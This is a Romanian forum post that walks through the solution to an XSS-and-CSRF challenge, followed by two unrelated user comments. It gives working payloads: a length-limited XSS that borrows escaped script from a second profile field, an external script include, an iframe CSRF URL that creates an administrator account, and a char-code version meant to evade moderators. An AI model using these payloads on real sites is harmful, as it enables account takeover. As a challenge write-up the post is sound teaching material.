Leaderboard

Probabil, mul?i membri ai acestui forum au observat recentul meu post în care am f?cut "un apel" c?tre to?i exper?ii în XSS ?i CSRF, rugându-i s? exploateze într-un mod pu?in mai neobi?nuit o vulnerabilitate XSS. Nu ?tiu câ?i membri au acceptat provocarea, dar cert este faptul c? doar unul singur a reu?it s? treac? testul — loki, care, practic ?tia deja r?spunsul dup? ce editasem postul ad?ugând cel de-al doilea Update. În principiu, cu fiecare Update ad?ugat, încercam s? aten?ionez participan?ii despre anumite obstacole, s? le dau noi puncte de reper, s? le ar?t calea cea dreapt?... De exemplu, la prima redactare a postului, am dat de în?eles c? nu are rost s? piard? timpul folosind metode de a trece peste num?rul limitat de caractere, ?i cel mai important, s? se gândeasc? cum ar putea s? foloseasc? mai multe c?su?e pentru a ajunge înving?tor. Redactând postul pentru a doua oar?, am dezv?luit secretul token-ului, care de fapt r?mânea mereu acela?i. Plus la aceasta, am aten?ionat c? în acest test merge vorba despre «cel mai simplu CSRF» — nu ?tiu pentru al?ii cum e, dar pentru mine, cel mai simplu CSRF posibil, este atunci când datele se transmit prin metoda GET. Astfel, pentru a testa dac? scriptul accept? datele transmise prin GET, puteam folosi expresia: javascript:void(document.forms[0].method='get'), pe care trebuie s? o introducem în bara de adrese a browserului, dup? care tast?m Enter, complet?m formularul ?i ap?s?m butonul «Submit Query». Vom observa c? administratorul a fost ad?ugat cu succes, iar request-ul de tip POST s-a transformat în unul GET ?i... acum, cu u?urin?? putem copia adresa URL pentru a o folosi la atacul CSRF. Dup? p?rerea mea, fiind analizat cu aten?ie, cel de-al treilea Update era cel mai puternic indiciu care putea s? duc? la imediat? rezolvare a problemei. Iat? de ce, pentru a duce în eroare participan?ii, am scris cu font gri un mesaj care nu avea nici o leg?tur? cu acest test ?i rezolvarea lui. Îns? mesajul principal a r?mas, ?i chiar eram curios, oare nimeni nu s-a întrebat: De ce trebuie s? fie minim dou? c?su?e pe aceea?i pagin?? La ce bun folose?te o a doua c?su?a, care nici m?car nu e vulnerabil?? ?i tot dup? p?rerea mea, r?spunsul era foarte simplu: în c?su?a vulnerabil? («Signature») puteam folosi JavaScript, îns? era prea pu?in spa?iu, pe când «About me» — avea ceva mai mult... Deci, ce ne împiedic? s? "împrumut?m" caractere din containerul «About me»? Oare func?ia escape() amintit? în Update-ul num?rul 4, ?i atributul «id» din UPD #5 — nu a ?optit nim?nui vre-o idee n?stru?nic?? Sunt sigur c? pentru a dezlega orice mister trebuia doar s? aduc aminte de document.getElementById() — îns? acest lucru ar fi f?cut Challenge-ul prea simplu ?i lipsit de interes... Îns? acum nu ne r?mâne decât s? recapitul?m rapid ce aveam la îndemân?: O c?su?? vulnerabil?, care ne permite s? inser?m coduri JavaScript, dar care are un num?r limitat de caractere prea mic; Func?ia escape(), cu ajutorul c?reia putem codifica caracterele speciale; O c?su?? care nu e vulnerabil?, dar ofer? mai mult spa?iu ?i, pe lâng? aceasta are ?i un «id» unic; Expresia document.getElementById() cu ajutorul c?reia putem "împrumuta" caractere din containerul sus-men?ionat; Anume aceste p?r?i ale puzzle-ului, puse cap la cap i-au adus lui loki victoria. Cum? Foarte simplu! Într-un fi?ier extern (pe care l-am înc?rcat pe server), folosind func?ia document.write(), se crea o copie exact? a formularului din Admin Panel, ?i, folosind expresia document.forms[0].submit() se trimiteau datele c?tre server prin metoda POST. Desigur, pentru a exploata vulnerabilitatea XSS, acest fi?ier trebuia injectat pe pagina din profil, folosind expresia: <script src="http://test.securrity.ru/challenges/loki_rst_u9.js"></script> Pentru a trece de filtrul PHP, s-a folosit func?ia escape(), cu ajutorul c?reia expresia men?ionat? mai sus a c?p?tat forma: %3Cscript%20src%3D%22http%3A%2f%2ftest.securrity.ru/challenges/loki_rst_u9.js%22%3E%3C/script%3E%0A Anume aceast? expresie a fost? inserat? în c?su?a «About me», care avea ?i un id asem?n?tor: 'AboutMe'. Ultimul ?i cel mai important pas, a fost inserarea în c?su?a vulnerabil? «Signature», a urm?torului cod: <script>document.write(unescape(document.getElementById('AboutMe').innerHTML));</script> unde, document.getElementById('AboutMe').innerHTML — returneaz? caracterele c?su?ei 'AboutMe'; unescape() — returneaz? valoarea ini?ial? a caracterelor codificate cu ajutorul fun?iei escape(); document.write() — afi?eaz? codul ce include fi?ierul extern; Acum, nu ne r?mâne decât s? ap?s?m butonul «submit & save»! Unicul lucru pe care vreau s?-l adaug la metoda folosit? de loki, este c? testul era mult mai u?or, ?i în schimbul unui fi?ier extern, putea fi folosit doar un simplu iframe: %3Ciframe%20src%3D%22http%3A//test.securrity.ru/challenges/n1.php%3Fdo%3Dadd%26mode%3Dnew_account%26group%3Dadministrators%26name%3DAdmin%26password%3Dpassw0rd%26email%3Dadmin@site.net%26token%3D94a08da1fecbb6e8b46990538c7b50b2%22%3E%3C/iframe%3E A?a cum am mai spus, aceast? metod? e ca un cu?it cu dou? t?i?uri: partea bun? e c? putem trece de filtre; partea rea — ambele c?su?e trebuie s? fie prezente pe aceea?i pagin?. ?i, o a doua problem? ar fi suspiciunile administra?iei, care la sigur va ?terge astfel de mesaje sau accounturi. În astfel de situa?ii am putea folosi func?ia String.fromCharCode(), astfel un ?ir de cifre separate prin virgul? va putea trece neobservat. Dar, ?i aici este o mic? problem?, deoarece pentru a folosi String.fromCharCode(), este nevoie de pu?in mai mult spa?iu, mai exact cu 33 caractere mai mult, iar codul care trebuie inserat în c?su?a vulnerabil? va ar?ta în felul urm?tor (cei care pot face acest cod mai scurt, sunt ruga?i s? prezinte un exemplu): <script>document.write(String.fromCharCode.apply(this,document.getElementById("AboutMe").innerHTML.split(',')));</script> Iar în c?su?a «About Me» vom introduce textul urm?tor (ob?inut cu noquote): 60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,116,101,115,116,46,115,101,99,117,114,114,105,116,121,46,114,117,47,99,104,97,108,108,101,110,103,101,115,47,110,49,46,112,104,112,63,100,111,61,97,100,100,38,109,111,100,101,61,110,101,119,95,97,99,99,111,117,110,116,38,103,114,111,117,112,61,97,100,109,105,110,105,115,116,114,97,116,111,114,115,38,110,97,109,101,61,65,100,109,105,110,38,112,97,115,115,119,111,114,100,61,112,97,115,115,119,48,114,100,38,101,109,97,105,108,61,97,100,109,105,110,64,115,105,116,101,46,110,101,116,38,116,111,107,101,110,61,57,52,97,48,56,100,97,49,102,101,99,98,98,54,101,56,98,52,54,57,57,48,53,51,56,99,55,98,53,48,98,50,34,62,60,47,105,102,114,97,109,101,62 Dup? cum v? da?i bine seama, acest articol a fost scris în scopuri educative, pentru a în?elege c? nimic nu e perfect (în special aplica?iile celor, care în loc s? repare vulnerabilit??ile, încearc? s? demonstreze c? nu e a?a de GRAV precum pare). ?i da, sunt aproape 'preg?tit' s? ?in piept oric?rei întreb?ri, critici sau idei. B7ackAnge7z Special pentru RST

stiu cum executa si stiu ca nu e asa prost sa parleasca fara motiv.eu nu consider ca am nivelul IQ-ului sub sec_hacker si nu vad de ce as fi executat pentru ca i-am dat un sfat ca era incepator.dar fie,sunt om de cuvant,daca considera ca e drept sa nu mai fac parte din acest forum,o sa dispar de pe aici.daca sunt ultimele mele cuvinte,va multumesc pentru tot.a fost frumos sa fac parte din aceasta comunitate...tineti-o tot asa...

Din pacate Back|track usureaza atat de mult munca unui "hacker" incat orice copqil poate sa faca ceva cu el fara sa aiba prea mult habar de linux......ce sa mai zic de......hacking in general